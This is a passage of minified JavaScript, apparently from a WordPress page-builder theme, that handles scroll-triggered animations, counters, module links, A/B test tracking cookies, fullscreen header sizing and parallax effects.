animation_entry["intensity".concat(suffix)]!=='undefined'?animation_entry["intensity".concat(suffix)]:animation_entry.intensity;var data_starting_opacity=!is_desktop_view&&typeof animation_entry["starting_opacity".concat(suffix)]!=='undefined'?animation_entry["starting_opacity".concat(suffix)]:animation_entry.starting_opacity;var data_speed_curve=!is_desktop_view&&typeof animation_entry["speed_curve".concat(suffix)]!=='undefined'?animation_entry["speed_curve".concat(suffix)]:animation_entry.speed_curve;$animated.attr({'data-animation-style':data_style,'data-animation-repeat':'once'===data_repeat?'':'infinite','data-animation-duration':data_duration,'data-animation-delay':data_delay,'data-animation-intensity':data_intensity,'data-animation-starting-opacity':data_starting_opacity,'data-animation-speed-curve':data_speed_curve});// Process the waypoints logic if the waypoints are not ignored // Otherwise add the animation to the element right away if(true===waypoints_enabled){if($animated.hasClass('et_pb_circle_counter')){et_waypoint($animated,{offset:'100%',handler:function handler(){var $this_counter=$(this.element).find('.et_pb_circle_counter_inner');if($this_counter.data('PieChartHasLoaded')||'undefined'===typeof $this_counter.data('easyPieChart')){return;}$this_counter.data('easyPieChart').update($this_counter.data('number-value'));$this_counter.data('PieChartHasLoaded',true);et_animate_element($(this.element));}});// fallback to 'bottom-in-view' offset, to make sure animation applied when element is on the bottom of page and other offsets are not triggered et_waypoint($animated,{offset:'bottom-in-view',handler:function handler(){var $this_counter=$(this.element).find('.et_pb_circle_counter_inner');if($this_counter.data('PieChartHasLoaded')||'undefined'===typeof $this_counter.data('easyPieChart')){return;}$this_counter.data('easyPieChart').update($this_counter.data('number-value'));$this_counter.data('PieChartHasLoaded',true);et_animate_element($(this.element));}});}else if($animated.hasClass('et_pb_number_counter')){et_waypoint($animated,{offset:'100%',handler:function handler(){$(this.element).data('easyPieChart').update($(this.element).data('number-value'));et_animate_element($(this.element));}});// fallback to 'bottom-in-view' offset, to make sure animation applied when element is on the bottom of page and other offsets are not triggered et_waypoint($animated,{offset:'bottom-in-view',handler:function handler(){$(this.element).data('easyPieChart').update($(this.element).data('number-value'));et_animate_element($(this.element));}});}else{et_waypoint($animated,{offset:'100%',handler:function handler(){et_animate_element($(this.element));}});}}else{et_animate_element($animated);}}}}function et_process_animation_intensity(animation,direction,intensity){var intensity_css={};switch(animation){case'slide':switch(direction){case'top':var percentage=intensity*-2;intensity_css={transform:"translate3d(0, ".concat(percentage,"%, 0)")};break;case'right':var percentage=intensity*2;intensity_css={transform:"translate3d(".concat(percentage,"%, 0, 0)")};break;case'bottom':var percentage=intensity*2;intensity_css={transform:"translate3d(0, ".concat(percentage,"%, 0)")};break;case'left':var percentage=intensity*-2;intensity_css={transform:"translate3d(".concat(percentage,"%, 0, 0)")};break;default:var scale=(100-intensity)*0.01;intensity_css={transform:"scale3d(".concat(scale,", ").concat(scale,", ").concat(scale,")")};break;}break;case'zoom':var scale=(100-intensity)*0.01;switch(direction){case'top':intensity_css={transform:"scale3d(".concat(scale,", ").concat(scale,", ").concat(scale,")")};break;case'right':intensity_css={transform:"scale3d(".concat(scale,", ").concat(scale,", ").concat(scale,")")};break;case'bottom':intensity_css={transform:"scale3d(".concat(scale,", ").concat(scale,", ").concat(scale,")")};break;case'left':intensity_css={transform:"scale3d(".concat(scale,", ").concat(scale,", ").concat(scale,")")};break;default:intensity_css={transform:"scale3d(".concat(scale,", ").concat(scale,", ").concat(scale,")")};break;}break;case'flip':switch(direction){case'right':var degree=Math.ceil(90/100*intensity);intensity_css={transform:"perspective(2000px) rotateY(".concat(degree,"deg)")};break;case'left':var degree=Math.ceil(90/100*intensity)*-1;intensity_css={transform:"perspective(2000px) rotateY(".concat(degree,"deg)")};break;case'top':default:var degree=Math.ceil(90/100*intensity);intensity_css={transform:"perspective(2000px) rotateX(".concat(degree,"deg)")};break;case'bottom':var degree=Math.ceil(90/100*intensity)*-1;intensity_css={transform:"perspective(2000px) rotateX(".concat(degree,"deg)")};break;}break;case'fold':switch(direction){case'top':var degree=Math.ceil(90/100*intensity)*-1;intensity_css={transform:"perspective(2000px) rotateX(".concat(degree,"deg)")};break;case'bottom':var degree=Math.ceil(90/100*intensity);intensity_css={transform:"perspective(2000px) rotateX(".concat(degree,"deg)")};break;case'left':var degree=Math.ceil(90/100*intensity);intensity_css={transform:"perspective(2000px) rotateY(".concat(degree,"deg)")};break;case'right':default:var degree=Math.ceil(90/100*intensity)*-1;intensity_css={transform:"perspective(2000px) rotateY(".concat(degree,"deg)")};break;}break;case'roll':switch(direction){case'right':case'bottom':var degree=Math.ceil(360/100*intensity)*-1;intensity_css={transform:"rotateZ(".concat(degree,"deg)")};break;case'top':case'left':var degree=Math.ceil(360/100*intensity);intensity_css={transform:"rotateZ(".concat(degree,"deg)")};break;default:var degree=Math.ceil(360/100*intensity);intensity_css={transform:"rotateZ(".concat(degree,"deg)")};break;}break;}return intensity_css;}function et_has_animation_data($element){var has_animation=false;if('undefined'!==typeof et_animation_data&&et_animation_data.length>0){for(var i=0;i<et_animation_data.length;i++){var animation_entry=et_animation_data[i];if(!animation_entry.class){continue;}if($element.hasClass(animation_entry.class)){has_animation=true;break;}}}return has_animation;}function et_get_animation_classes(){return['et_animated','et_is_animating','infinite','et-waypoint','fade','fadeTop','fadeRight','fadeBottom','fadeLeft','slide','slideTop','slideRight','slideBottom','slideLeft','bounce','bounceTop','bounceRight','bounceBottom','bounceLeft','zoom','zoomTop','zoomRight','zoomBottom','zoomLeft','flip','flipTop','flipRight','flipBottom','flipLeft','fold','foldTop','foldRight','foldBottom','foldLeft','roll','rollTop','rollRight','rollBottom','rollLeft','transformAnim'];}function et_remove_animation($element){// Don't remove looping animations, return early. if($element.hasClass('infinite')){return;}var animation_classes=et_get_animation_classes();// Remove attributes which avoid horizontal scroll to appear when section is rolled if($element.is('.et_pb_section')&&$element.is('.roll')){$("".concat(et_frontend_scripts.builderCssContainerPrefix,", ").concat(et_frontend_scripts.builderCssLayoutPrefix)).css('overflow-x','');}$element.removeClass(animation_classes.join(' '));$element.css({'animation-delay':'','animation-duration':'','animation-timing-function':'',opacity:'',transform:'',left:''});// Prevent animation module with no explicit position property to be incorrectly positioned // after animation is clomplete and animation classname is removed because animation classname has // animation-name property which gives pseudo correct z-index. This class also works as a marker to prevent animating already animated objects. $element.addClass('et_had_animation');}function et_remove_animation_data($element){var attr_name;var data_attrs_to_remove=[];var data_attrs=$element.get(0).attributes;for(var i=0;i<data_attrs.length;i++){if('data-animation-'===data_attrs[i].name.substring(0,15)){data_attrs_to_remove.push(data_attrs[i].name);}}$.each(data_attrs_to_remove,function(index,attr_name){$element.removeAttr(attr_name);});}window.et_reinit_waypoint_modules=et_pb_debounce(function(){var $et_pb_circle_counter=$('.et_pb_circle_counter');var $et_pb_number_counter=$('.et_pb_number_counter');var $et_pb_video_background=$('.et_pb_section_video_bg video');// if waypoint is available and we are not ignoring them. if($.fn.waypoint&&window.et_pb_custom&&'yes'!==window.et_pb_custom.ignore_waypoints&&!_utils.isBuilder){et_process_animation_data(true);// get all of our waypoint things. var modules=$('.et-waypoint');modules.each(function(){et_waypoint($(this),{offset:et_get_offset($(this),'100%'),handler:function handler(){// what actually triggers the animation. $(this.element).addClass('et-animated');}},2);});// Set waypoint for circle counter module. if($et_pb_circle_counter.length){// iterate over each. $et_pb_circle_counter.each(function(){var $this_counter=$(this).find('.et_pb_circle_counter_inner');if(!$this_counter.is(':visible')||et_has_animation_data($this_counter)){return;}et_waypoint($this_counter,{offset:et_get_offset($(this),'100%'),handler:function handler(){if($this_counter.data('PieChartHasLoaded')||'undefined'===typeof $this_counter.data('easyPieChart')){return;}// No need to update animated circle counter as soon as it hits // bottom of the page in layout block preview page since layout // block preview page is being rendered in 100% height inside // Block Editor if(isBlockLayoutPreview){return;}$this_counter.data('easyPieChart').update($this_counter.data('number-value'));$this_counter.data('PieChartHasLoaded',true);}},2);});}// Set waypoint for number counter module. if($et_pb_number_counter.length){$et_pb_number_counter.each(function(){var $this_counter=$(this);if(et_has_animation_data($this_counter)){return;}et_waypoint($this_counter,{offset:et_get_offset($(this),'100%'),handler:function handler(){$this_counter.data('easyPieChart').update($this_counter.data('number-value'));}});});}// Set waypoint for goal module. if(!_utils.isBuilder){$.each(et_pb_custom.ab_tests,function(index,test){var $et_pb_ab_goal=et_builder_ab_get_goal_node(test.post_id);if(0===$et_pb_ab_goal.length){return true;}et_waypoint($et_pb_ab_goal,{offset:et_get_offset($(this),'80%'),handler:function handler(){if(et_pb_ab_logged_status[test.post_id].read_goal||!$et_pb_ab_goal.length||!$et_pb_ab_goal.visible(true)){return;}// log the goal_read if goal is still visible after 3 seconds. setTimeout(function(){if($et_pb_ab_goal.length&&$et_pb_ab_goal.visible(true)&&!et_pb_ab_logged_status[test.post_id].read_goal){et_pb_ab_update_stats('read_goal',test.post_id,undefined,test.test_id);}},3000);et_pb_maybe_log_event($et_pb_ab_goal,'view_goal');}});});}}else{// if no waypoints supported then apply all the animations right away et_process_animation_data(false);var animated_class=_utils.isBuilder?'et-animated--vb':'et-animated';$('.et-waypoint').addClass(animated_class);// While in the builder, trigger all animations instantly as otherwise // TB layouts that are displayed but are not the currently edited post // will have their animated modules invisible due to .et-waypoint. $('.et-waypoint').each(function(){et_animate_element($(this));});if($et_pb_circle_counter.length){$et_pb_circle_counter.each(function(){var $this_counter=$(this).find('.et_pb_circle_counter_inner');if(!$this_counter.is(':visible')){return;}if($this_counter.data('PieChartHasLoaded')||'undefined'===typeof $this_counter.data('easyPieChart')){return;}$this_counter.data('easyPieChart').update($this_counter.data('number-value'));$this_counter.data('PieChartHasLoaded',true);});}if($et_pb_number_counter.length){$et_pb_number_counter.each(function(){var $this_counter=$(this);$this_counter.data('easyPieChart').update($this_counter.data('number-value'));});}// log the stats without waypoints $.each(et_pb_custom.ab_tests,function(index,test){var $et_pb_ab_goal=et_builder_ab_get_goal_node(test.post_id);if(0===$et_pb_ab_goal.length){return true;}if(et_pb_ab_logged_status[test.post_id].read_goal||!$et_pb_ab_goal.length||!$et_pb_ab_goal.visible(true)){return true;}// log the goal_read if goal is still visible after 3 seconds. setTimeout(function(){if($et_pb_ab_goal.length&&$et_pb_ab_goal.visible(true)&&!et_pb_ab_logged_status[test.post_id].read_goal){et_pb_ab_update_stats('read_goal',test.post_id,undefined,test.test_id);}},3000);et_pb_maybe_log_event($et_pb_ab_goal,'view_goal');});}// End checking of waypoints. if($et_pb_video_background.length){$et_pb_video_background.each(function(){var $this_video_background=$(this);et_pb_video_background_init($this_video_background,this);});}// End of et_pb_debounce(). },100);function et_process_link_options_data(){if('undefined'!==typeof et_link_options_data&&et_link_options_data.length>0){// $.each needs to be used so that the proper values are bound // when there are multiple elements with link options enabled $.each(et_link_options_data,function(index,link_option_entry){if(!link_option_entry.class||!link_option_entry.url||!link_option_entry.target){return;}var $clickable=$(".".concat(link_option_entry.class));$clickable.on('click',function(event){// If the event target is different from current target a check for elements that should not trigger module link is performed if(event.target!==event.currentTarget&&!et_is_click_exception($(event.target))||event.target===event.currentTarget){event.stopPropagation();var url=link_option_entry.url;url=url.replace(/[/g,'[');url=url.replace(/]/g,']');if('_blank'===link_option_entry.target){window.open(url);return;}if('#product_reviews_tab'===url){var $reviewsTabLink=$('.reviews_tab a');if($reviewsTabLink.length>0){$reviewsTabLink.trigger('click');et_pb_smooth_scroll($reviewsTabLink,undefined,800);history.pushState(null,'',url);}}else if(url&&'#'===url[0]&&$(url).length){et_pb_smooth_scroll($(url),undefined,800);history.pushState(null,'',url);}else{window.location=url;}}});// Prevent any links inside the element from triggering its (parent) link $clickable.on('click','a, button',function(event){if(!et_is_click_exception($(this))){event.stopPropagation();}});});}}// There are some classes that have other click handlers attached to them // Link options should not be triggered by/or prevent them from working function et_is_click_exception($element){var is_exception=false;// List of elements that already have click handlers var click_exceptions=[// Accordion/Toggle '.et_pb_toggle_title',// Audio Module '.mejs-container *',// Contact Form Fields '.et_pb_contact_field input','.et_pb_contact_field textarea','.et_pb_contact_field_checkbox *','.et_pb_contact_field_radio *','.et_pb_contact_captcha',// Tabs '.et_pb_tabs_controls a',// Woo Image '.flex-control-nav *',// Menu '.et_pb_menu__search-button','.et_pb_menu__close-search-button','.et_pb_menu__search-container *',// Fullwidth Header '.et_pb_fullwidth_header_scroll *'];for(var i=0;i<click_exceptions.length;i++){if($element.is(click_exceptions[i])){is_exception=true;break;}}return is_exception;}et_process_link_options_data();function et_pb_init_ab_test(test){// Disable AB Testing tracking on VB // AB Testing should not record anything on AB Testing if(_utils.isBuilder){return;}var $et_pb_ab_goal=et_builder_ab_get_goal_node(test.post_id);var et_ab_subject_id=et_pb_get_subject_id(test.post_id);$.each(et_pb_ab_logged_status[test.post_id],function(key){var cookie_subject='click_goal'===key||'con_short'===key?'':et_ab_subject_id;et_pb_ab_logged_status[test.post_id][key]=et_pb_check_cookie_value("et_pb_ab_".concat(key,"_").concat(test.post_id).concat(test.test_id).concat(cookie_subject),'true');});// log the page read event if user stays on page long enough and if not logged for current subject if(!et_pb_ab_logged_status[test.post_id].read_page){setTimeout(function(){et_pb_ab_update_stats('read_page',test.post_id,undefined,test.test_id);},et_pb_ab_bounce_rate);}// add the cookies for shortcode tracking, if enabled if('on'===et_pb_custom.is_shortcode_tracking&&!et_pb_ab_logged_status[test.post_id].con_short){et_pb_set_cookie(365,"et_pb_ab_shortcode_track_".concat(test.post_id,"=").concat(test.post_id,"_").concat(et_ab_subject_id,"_").concat(test.test_id));}if($et_pb_ab_goal.length){// if goal is a module and has a button then track the conversions, otherwise track clicks if($et_pb_ab_goal.hasClass('et_pb_module')&&($et_pb_ab_goal.hasClass('et_pb_button')||$et_pb_ab_goal.find('.et_pb_button').length)){// Log con_goal if current goal doesn't require any specific conversion calculation if(!$et_pb_ab_goal.hasClass('et_pb_contact_form_container')&&!$et_pb_ab_goal.hasClass('et_pb_newsletter')){var $goal_button=$et_pb_ab_goal.hasClass('et_pb_button')?$et_pb_ab_goal:$et_pb_ab_goal.find('.et_pb_button');if($et_pb_ab_goal.hasClass('et_pb_comments_module')){var page_url=window.location.href;var comment_submitted=-1!==page_url.indexOf('#comment-');var log_conversion=et_pb_check_cookie_value("et_pb_ab_comment_log_".concat(test.post_id).concat(test.test_id),'true');if(comment_submitted&&log_conversion){et_pb_ab_update_stats('con_goal',test.post_id,undefined,test.test_id);et_pb_set_cookie(0,"et_pb_ab_comment_log_".concat(test.post_id).concat(test.test_id,"=true"));}}$goal_button.on('click',function(){if($et_pb_ab_goal.hasClass('et_pb_comments_module')&&!et_pb_ab_logged_status[test.post_id].con_goal){et_pb_set_cookie(365,"et_pb_ab_comment_log_".concat(test.post_id).concat(test.test_id,"=true"));return;}et_pb_maybe_log_event($et_pb_ab_goal,'click_goal');});}}else{$et_pb_ab_goal.on('click',function(){if($et_pb_ab_goal.hasClass('et_pb_shop')&&!et_pb_ab_logged_status[test.post_id].con_goal){et_pb_set_cookie(365,"et_pb_ab_shop_log=".concat(test.post_id,"_").concat(et_ab_subject_id,"_").concat(test.test_id));}et_pb_maybe_log_event($et_pb_ab_goal,'click_goal');});}}}function et_pb_maybe_log_event($goal_container,event,callback){// Disable AB Testing tracking on VB // AB Testing should not record anything on AB Testing if(_utils.isBuilder){return;}var postId=et_builder_ab_get_test_post_id($goal_container);var log_event='undefined'===typeof event?'con_goal':event;if(!$goal_container.hasClass('et_pb_ab_goal')||et_pb_ab_logged_status[postId][log_event]){if('undefined'!==typeof callback){callback();}return;}// log the event if it's not logged for current user et_pb_ab_update_stats(log_event,postId);}function et_pb_ab_update_stats(record_type,set_page_id,set_subject_id,set_test_id,callback){var page_id='undefined'===typeof set_page_id?et_pb_custom.page_id:set_page_id;var subject_id='undefined'===typeof set_subject_id?et_pb_get_subject_id(page_id):set_subject_id;var test_id='undefined'===typeof set_test_id?et_builder_ab_get_test_id(page_id):set_test_id;var stats_data=JSON.stringify({test_id:page_id,subject_id:subject_id,record_type:record_type});var cookie_subject='click_goal'===record_type||'con_short'===record_type?'':subject_id;et_pb_set_cookie(365,"et_pb_ab_".concat(record_type,"_").concat(page_id).concat(test_id).concat(cookie_subject,"=true"));et_pb_ab_logged_status[page_id][record_type]=true;$.ajax({type:'POST',url:et_pb_custom.ajaxurl,data:{action:'et_pb_update_stats_table',stats_data_array:stats_data,et_ab_log_nonce:et_pb_custom.et_ab_log_nonce}}).always(function(){if('undefined'!==typeof callback){callback();}});}function et_pb_get_subject_id(postId){var $subject=$("*[class*=et_pb_ab_subject_id-".concat(postId,"_]"));// In case no subject found if($subject.length<=0||$('html').is('.et_fb_preview_active--wireframe_preview')){return false;}var subject_classname=$subject.attr('class');var subject_id_raw=subject_classname.split('et_pb_ab_subject_id-')[1];var subject_id_clean=subject_id_raw.split(' ')[0];var subject_id_separated=subject_id_clean.split('_');var subject_id=subject_id_separated[1];return subject_id;}/** * Get the goal $node for the given AB test post id. * * @since 4.0 * * @param {integer} postId * * @returns {object} */function et_builder_ab_get_goal_node(postId){return $(".et_pb_ab_goal_id-".concat(postId));}/** * Get the post id from a goal $node. * * @since 4.0 * * @param {object} $goal * * @returns {integer} */function et_builder_ab_get_test_post_id($goal){var className=$goal.attr('class');var postId=parseInt(className.replace(/^.*et_pb_ab_goal_id-(\d+).*$/,'$1'));return!isNaN(postId)?postId:0;}/** * Get the test id from a post id. * * @since 4.0 * * @param {integer} postId * * @returns {integer} */function et_builder_ab_get_test_id(postId){for(var i=0;i<et_pb_custom.ab_tests;i++){if(et_pb_custom.ab_tests[i].post_id===postId){return et_pb_custom.ab_tests[i].test_id;}}return et_pb_custom.unique_test_id;}/** * Get current active device based on window width size. * * @returns {string} View mode. */function et_pb_get_current_window_mode(){var window_width=$et_window.width();var current_mode='desktop';if(window_width<=980&&window_width>767){current_mode='tablet';}else if(window_width<=767){current_mode='phone';}return current_mode;}function et_pb_set_cookie_expire(days){var ms=days*24*60*60*1000;var date=new Date();date.setTime(date.getTime()+ms);return"; expires=".concat(date.toUTCString());}function et_pb_check_cookie_value(cookie_name,value){return et_pb_get_cookie_value(cookie_name)==value;}function et_pb_get_cookie_value(cookie_name){return et_pb_parse_cookies()[cookie_name];}function et_pb_parse_cookies(){var cookies=document.cookie.split('; ');var ret={};for(var i=cookies.length-1;i>=0;i--){var el=cookies[i].split('=');ret[el[0]]=el[1];}return ret;}function et_pb_set_cookie(expire,cookie_content){var cookie_expire=et_pb_set_cookie_expire(expire);document.cookie="".concat(cookie_content+cookie_expire,"; path=/");}function et_pb_get_fixed_main_header_height(){if(!window.et_is_fixed_nav){return 0;}var fixed_height_onload='undefined'===typeof $('#main-header').attr('data-fixed-height-onload')?0:$('#main-header').attr('data-fixed-height-onload');return!window.et_is_fixed_nav?0:parseFloat(fixed_height_onload);}var fullscreen_section_width={};var fullscreen_section_timeout={};window.et_calc_fullscreen_section=function(event,section){var isResizing='object'===_typeof(event)&&'resize'===event.type;var $et_window=$(top_window);var $this_section=section||$(this);var section_index=$this_section.index('.et_pb_fullscreen');var timeout=isResizing&&typeof fullscreen_section_width[section_index]!=='undefined'&&event.target.window_width>fullscreen_section_width[section_index]?800:0;fullscreen_section_width[section_index]=$et_window.width();if(typeof fullscreen_section_timeout[section_index]!=='undefined'){clearTimeout(fullscreen_section_timeout[section_index]);}fullscreen_section_timeout[section_index]=setTimeout(function(){var $body=$('body');var $tb_header=$('.et-l--header').first();var tb_header_height=$tb_header.length>0?$tb_header.height():0;var has_section=$this_section.length;var this_section_index=$this_section.index('.et_pb_fullwidth_header');var this_section_offset=has_section?$this_section.offset():{};var $header=$this_section.children('.et_pb_fullwidth_header_container');var $header_content=$header.children('.header-content-container');var $header_image=$header.children('.header-image-container');var sectionHeight=top_window.innerHeight||$et_window.height();var $wpadminbar=top_window.jQuery('#wpadminbar');var has_wpadminbar=$wpadminbar.length;var wpadminbar_height=has_wpadminbar?$wpadminbar.height():0;var $top_header=$('#top-header');var has_top_header=$top_header.length;var top_header_height=has_top_header?$top_header.height():0;var $main_header=$('#main-header');var has_main_header=$main_header.length;var main_header_height=has_main_header?$main_header.outerHeight():0;var fixed_main_header_height=et_pb_get_fixed_main_header_height();var is_wp_relative_admin_bar=$et_window.width()<782;var is_desktop_view=$et_window.width()>980;var is_tablet_view=$et_window.width()<=980&&$et_window.width()>=479;var is_phone_view=$et_window.width()<479;var overall_header_height=wpadminbar_height+tb_header_height+top_header_height+(window.et_is_vertical_nav&&is_desktop_view?0:main_header_height);var is_first_module='undefined'!==typeof this_section_offset.top?this_section_offset.top<=overall_header_height:false;var $gbFixedHeader=top_window.jQuery('.edit-post-header');var $gbFixedFooter=top_window.jQuery('.edit-post-layout__footer');// In case theme stored the onload main-header height as data-attribute if($main_header.attr('data-height-onload')){main_header_height=parseFloat($main_header.attr('data-height-onload'));}// // WP Admin Bar: // // - Desktop fixed: standard // - WP Mobile relative: less than 782px window // if(has_wpadminbar){if(is_wp_relative_admin_bar){if(is_first_module){sectionHeight-=wpadminbar_height;}}else{sectionHeight-=wpadminbar_height;}}// Gutenberg's floating header UI if($gbFixedHeader.length>0){sectionHeight-=$gbFixedHeader.outerHeight();}// Gutenberg's floating footer UI if($gbFixedFooter.length>0){sectionHeight-=$gbFixedFooter.outerHeight();}/** * Divi Top Header: * * - Desktop fixed: standard. * - Desktop fixed BUT first header's height shouldn't be substracted: hide nav until * scroll activated * - Desktop relative: fixed nav bar disabled * - Desktop relative: vertical nav activated. */if(has_top_header){if(is_desktop_view){if(et_hide_nav&&!window.et_is_vertical_nav){if(!is_first_module){sectionHeight-=top_header_height;}}else if(!window.et_is_fixed_nav||window.et_is_vertical_nav){if(is_first_module){sectionHeight-=top_header_height;}}else{sectionHeight-=top_header_height;}}}/** * Divi Main Header: * * - Desktop fixed: standard. Initial and 'fixed' header might have different height * - Desktop relative: fixed nav bar disabled * - Desktop fixed BUT height should be ignored: vertical nav activated * - Desktop fixed BUT height should be ignored for first header only: main header uses * rgba * - Desktop fixed BUT first header's height shouldn't be substracted: hide nav until * scroll activated * - Tablet relative: standard. Including vertical header style * - Phone relative: standard. Including vertical header style. */if(has_main_header){if(is_desktop_view){if(et_hide_nav&&!window.et_is_vertical_nav){if(!is_first_module){sectionHeight-=fixed_main_header_height;}}else if(window.et_is_fixed_nav&&!window.et_is_vertical_nav){if(is_first_module){sectionHeight-=main_header_height;}else{sectionHeight-=fixed_main_header_height;}}else if(!window.et_is_fixed_nav&&!window.et_is_vertical_nav){if(is_first_module){sectionHeight-=main_header_height;}}}else if(is_first_module){sectionHeight-=main_header_height;}}// If the transparent primary nav + hide nav until scroll is being used, // cancel automatic padding-top added by transparent nav mechanism if($body.hasClass('et_transparent_nav')&&$body.hasClass('et_hide_nav')&&0===this_section_index){$this_section.css('padding-top','');}// reduce section height by its top border width var section_border_top_width=parseInt($this_section.css('borderTopWidth'));if(section_border_top_width){sectionHeight-=section_border_top_width;}// reduce section height by its bottom border width var section_border_bottom_width=parseInt($this_section.css('borderBottomWidth'));if(section_border_bottom_width){sectionHeight-=section_border_bottom_width;}// Subtract Theme Builder header layout height from first fullscreen section/header // unless the section is inside the TB header itself. if(tb_header_height>0&&0===this_section_index&&0===$this_section.closest($tb_header).length){sectionHeight-=tb_header_height;}setTimeout(function(){$this_section.css('min-height',"".concat(sectionHeight,"px"));$header.css('min-height',"".concat(sectionHeight,"px"));},100);if($header.hasClass('center')&&$header_content.hasClass('bottom')&&$header_image.hasClass('bottom')){$header.addClass('bottom-bottom');}if($header.hasClass('center')&&$header_content.hasClass('center')&&$header_image.hasClass('center')){$header.addClass('center-center');}if($header.hasClass('center')&&$header_content.hasClass('center')&&$header_image.hasClass('bottom')){$header.addClass('center-bottom');var contentHeight=sectionHeight-$header_image.outerHeight(true);if(contentHeight>0){$header_content.css('min-height',"".concat(contentHeight,"px")).css('height','10px'/* fixes IE11 render */);}}if($header.hasClass('center')&&$header_content.hasClass('bottom')&&$header_image.hasClass('center')){$header.addClass('bottom-center');}if(($header.hasClass('left')||$header.hasClass('right'))&&!$header_content.length&&$header_image.length){$header.css('justify-content','flex-end');}if($header.hasClass('center')&&$header_content.hasClass('bottom')&&!$header_image.length){$header_content.find('.header-content').css('margin-bottom',"".concat(80,"px"));}if($header_content.hasClass('bottom')&&$header_image.hasClass('center')){$header_image.find('.header-image').css('margin-bottom',"".concat(80,"px"));$header_image.css('align-self','flex-end');}// Detect if section height is lower than the content height var headerContentHeight=0;if($header_content.length){headerContentHeight+=$header_content.outerHeight();}if($header_image.length){headerContentHeight+=$header_image.outerHeight();}if(headerContentHeight>sectionHeight){$this_section.css('min-height',"".concat(headerContentHeight,"px"));$header.css('min-height',"".concat(headerContentHeight,"px"));}// Justify the section content if($header_image.hasClass('bottom')){if(headerContentHeight<sectionHeight){$this_section.css('min-height',"".concat(headerContentHeight+80,"px"));$header.css('min-height',"".concat(headerContentHeight+80,"px"));}$header.css('justify-content','flex-end');}},timeout);};window.et_calculate_fullscreen_section_size=function(){$('section.et_pb_fullscreen').each(function(){et_calc_fullscreen_section.bind($(this))();});if(_utils.isBuilder){return;}clearTimeout(et_calc_fullscreen_section.timeout);et_calc_fullscreen_section.timeout=setTimeout(function(){$fullscreenSectionWindow.off('resize',et_calculate_fullscreen_section_size);$fullscreenSectionWindow.off('et-pb-header-height-calculated',et_calculate_fullscreen_section_size);$fullscreenSectionWindow.trigger('resize');$fullscreenSectionWindow.on('resize',et_calculate_fullscreen_section_size);$fullscreenSectionWindow.on('et-pb-header-height-calculated',et_calculate_fullscreen_section_size);});// 100ms timeout is set to make sure that the fulls screen section size is calculated // This allows the posibility that in some specific cases this may not be enought // so we may need to review this. };if(!_utils.isBuilder){$fullscreenSectionWindow.on('resize',et_calculate_fullscreen_section_size);$fullscreenSectionWindow.on('et-pb-header-height-calculated',et_calculate_fullscreen_section_size);}window.debounced_et_apply_builder_css_parallax=et_pb_debounce(et_apply_builder_css_parallax,100);window.et_pb_parallax_init=function($this_parallax){var $this_parent=$this_parallax.parent();if($this_parallax.hasClass('et_pb_parallax_css')){// Register faux CSS Parallax effect for builder modes with top window scroll if($('body').hasClass('et-fb')||isTB||isBlockLayoutPreview){et_apply_builder_css_parallax.bind($this_parent)();if(isTB){top_window.jQuery('#et-fb-app').on('scroll.etCssParallaxBackground',et_apply_builder_css_parallax.bind($this_parent)).on('resize.etCssParallaxBackground',window.debounced_et_apply_builder_css_parallax.bind($this_parent));}else{$(window).on('scroll.etCssParallaxBackground',et_apply_builder_css_parallax.bind($this_parent)).on('resize.etCssParallaxBackground',window.debounced_et_apply_builder_css_parallax.bind($this_parent));}}return;}et_parallax_set_height.bind($this_parent)();et_apply_parallax.bind($this_parent)();if(isTB){top_window.jQuery('#et-fb-app').on('scroll.etTrueParallaxBackground',et_apply_parallax.bind($this_parent));}else{$(window).on('scroll.etTrueParallaxBackground',et_apply_parallax.bind($this_parent));}$(window).on('resize.etTrueParallaxBackground',et_pb_debounce(et_parallax_set_height,100).bind($this_parent));$(window).on('resize.etTrueParallaxBackground',et_pb_debounce(et_apply_parallax,100).bind($this_parent));$this_parent.find('.et-learn-more .heading-more').on('click',function(){setTimeout(function(){et_parallax_set_height.bind($this_parent)();},300);});};$(window).on('resize',function(){var window_width=$et_window.width();var et_container_css_width=$et_container.css('width');var et_container_width_in_pixel=typeof et_container_css_width!=='undefined'?et_container_css_width.substr(-1,1)!=='%':'';var et_container_actual_width=et_container_width_in_pixel?$et_container.width():$et_container.width()/100*window_width;// $et_container.width() doesn't recognize pixel or percentage unit. It's our duty to understand what it returns and convert it properly var containerWidthChanged=et_container_width!==et_container_actual_width;var $dividers=$('.et_pb_top_inside_divider, .et_pb_bottom_inside_divider');et_pb_resize_section_video_bg();et_pb_center_video();et_fix_slider_height();et_fix_nav_direction();et_fix_html_margin();$et_pb_fullwidth_portfolio.each(function(){var set_container_height=!!$(this).hasClass('et_pb_fullwidth_portfolio_carousel');set_fullwidth_portfolio_columns($(this),set_container_height);});if(containerWidthChanged||window.et_force_width_container_change){$('.container-width-change-notify').trigger('containerWidthChanged');setTimeout(function(){$et_pb_filterable_portfolio.each(function(){window.set_filterable_grid_items($(this));});$et_pb_gallery.each(function(){if($(this).hasClass('et_pb_gallery_grid')){set_gallery_grid_items($(this));}});},100);et_container_width=et_container_actual_width;etRecalculateOffset=true;var _$et_pb_circle_counter=$('.et_pb_circle_counter');if(_$et_pb_circle_counter.length){_$et_pb_circle_counter.each(function(){var $this_counter=$(this).find('.et_pb_circle_counter_inner');if(!$this_counter.is(':visible')){return;}// Need to initialize if it has not (e.g visibility set to hidden when the page loaded) if('undefined'===typeof $this_counter.data('easyPieChart')){window.et_pb_circle_counter_init($this_counter);}// Update animation breakpoint variable and generate suffix. var current_mode=et_pb_get_current_window_mode();et_animation_breakpoint=current_mode;var suffix=current_mode!=='desktop'?"-".concat(current_mode):'';// Update bar background color based on active mode. var bar_color=$this_counter.data("bar-bg-color".concat(suffix));if(typeof bar_color!=='undefined'&&bar_color!==''){$this_counter.data('easyPieChart').options.barColor=bar_color;}// Update track color based on active mode. var track_color=$this_counter.data("color".concat(suffix));if(typeof track_color!=='undefined'&&track_color!==''){$this_counter.data('easyPieChart').options.trackColor=track_color;$this_counter.trigger('containerWidthChanged');}// Update track color alpha based on active mode. var track_color_alpha=$this_counter.data("alpha".concat(suffix));if(typeof track_color_alpha!=='undefined'&&track_color_alpha!==''){$this_counter.data('easyPieChart').options.trackAlpha=track_color_alpha;$this_counter.trigger('containerWidthChanged');}$this_counter.data('easyPieChart').update($this_counter.data('number-value'));});}if($et_pb_countdown_timer.length){$et_pb_countdown_timer.each(function(){var timer=$(this);et_countdown_timer_labels(timer);});}// Reset to false 